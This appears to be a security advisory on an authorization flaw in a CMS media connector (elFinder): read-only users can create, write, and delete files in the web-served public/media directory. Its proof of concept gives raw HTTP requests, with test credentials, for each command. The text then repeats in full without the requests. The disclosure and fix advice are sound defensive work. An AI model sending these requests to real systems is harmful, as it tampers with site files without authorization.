Summary
The elFinder connector endpoint backend/media/elfinderConnection is authorized with only the media "read" permission, but it processes every file operation (upload, rename, delete, mkdir, move) through the elFinder protocol. As a result, a user who was granted read-only access to the media library can create, rename, and delete files in the web-served public/media directory.
Details
The media UI page (backend/media) correctly requires the "create" permission, but the connector that actually performs the work requires only "read":
elfinderConnection() builds the elFinder options and calls $connector->run(). The command to execute comes from the request (cmd=upload, rename, rm, mkdir, paste, ...). There is no per-command permission check, and no commands are disabled, so the read permission alone is enough to reach all write and delete operations.
The connector does enforce its configured MIME allowlist (raster images plus text/plain) consistently across mkfile, put, rename and upload, so a read-only user cannot create or rename a file to an executable type such as .php (the connector returns errUploadMime). This was confirmed against the running instance, so the issue is not remote code execution. What remains is that a read-only user can freely create, rename, and delete allowed-type files (text and images) and folders inside the web-served public/media directory.
PoC
Actor: a user whose group grants only the media "read" permission (no create/update/delete).
- Log in to the backend as that user.
- Send a write/delete command straight to the connector via Burp Suite:
File Creation (cmd=mkfile):
POST /backend/media/elfinderConnection HTTP/1.1
Host: localhost:8084
Authorization: Basic aWx0b3NlYzoxMjM0NTY3OA==
Content-Type: application/x-www-form-urlencoded
Cookie: ci_session=971df00f19187d5baf2732c47e02e1d1
Content-Length: 36
cmd=mkfile&target=l1_Lw&name=poc.txt
Writing Content (cmd=put):
POST /backend/media/elfinderConnection HTTP/1.1
Host: localhost:8084
Authorization: Basic aWx0b3NlYzoxMjM0NTY3OA==
Content-Type: application/x-www-form-urlencoded
Cookie: ci_session=971df00f19187d5baf2732c47e02e1d1
Content-Length: 69
cmd=put&target=l1_cG9jLnR4dA&content=hacked+by+read-only+user-iltosec
Folder Creation (cmd=mkdir):
POST /backend/media/elfinderConnection HTTP/1.1
Host: localhost:8084
Authorization: Basic aWx0b3NlYzoxMjM0NTY3OA==
Content-Type: application/x-www-form-urlencoded
Cookie: ci_session=971df00f19187d5baf2732c47e02e1d1
Content-Length: 46
cmd=mkdir&target=l1_Lw&name=pwned_by_read_user
File Deletion (cmd=rm):
POST /backend/media/elfinderConnection HTTP/1.1
Host: localhost:8084
Authorization: Basic aWx0b3NlYzoxMjM0NTY3OA==
Content-Type: application/x-www-form-urlencoded
Cookie: ci_session=971df00f19187d5baf2732c47e02e1d1
Content-Length: 30
cmd=rm&targets[]=l1_cG9jLnR4dA
Impact
A user intended to only browse media can create, rename, upload, and delete files and folders in the web-served public/media directory.
Fix
Gate the connector by the operation it performs, not by "read". The simplest fix is to require the "create"/"update"/"delete" permission on backend/media/elfinderConnection (matching the media UI page), or to map individual elFinder commands to the matching permission and reject write commands for read-only users. Disabling unused elFinder commands and confirming the public/media .htaccess (PHP off) is deployed are useful defense-in-depth.
Summary
The elFinder connector endpoint backend/media/elfinderConnection is authorized with only the media "read" permission, but it processes every file operation (upload, rename, delete, mkdir, move) through the elFinder protocol. As a result, a user who was granted read-only access to the media library can create, rename, and delete files in the web-served public/media directory.
Details
The media UI page (backend/media) correctly requires the "create" permission, but the connector that actually performs the work requires only "read":
elfinderConnection() builds the elFinder options and calls $connector->run(). The command to execute comes from the request (cmd=upload, rename, rm, mkdir, paste, ...). There is no per-command permission check, and no commands are disabled, so the read permission alone is enough to reach all write and delete operations.
The connector does enforce its configured MIME allowlist (raster images plus text/plain) consistently across mkfile, put, rename and upload, so a read-only user cannot create or rename a file to an executable type such as .php (the connector returns errUploadMime). This was confirmed against the running instance, so the issue is not remote code execution. What remains is that a read-only user can freely create, rename, and delete allowed-type files (text and images) and folders inside the web-served public/media directory.
PoC
Actor: a user whose group grants only the media "read" permission (no create/update/delete).
File Creation (cmd=mkfile):
Writing Content (cmd=put):
Folder Creation (cmd=mkdir):
File Deletion (cmd=rm):
Impact
A user intended to only browse media can create, rename, upload, and delete files and folders in the web-served public/media directory.
Fix
Gate the connector by the operation it performs, not by "read". The simplest fix is to require the "create"/"update"/"delete" permission on backend/media/elfinderConnection (matching the media UI page), or to map individual elFinder commands to the matching permission and reject write commands for read-only users. Disabling unused elFinder commands and confirming the public/media .htaccess (PHP off) is deployed are useful defense-in-depth.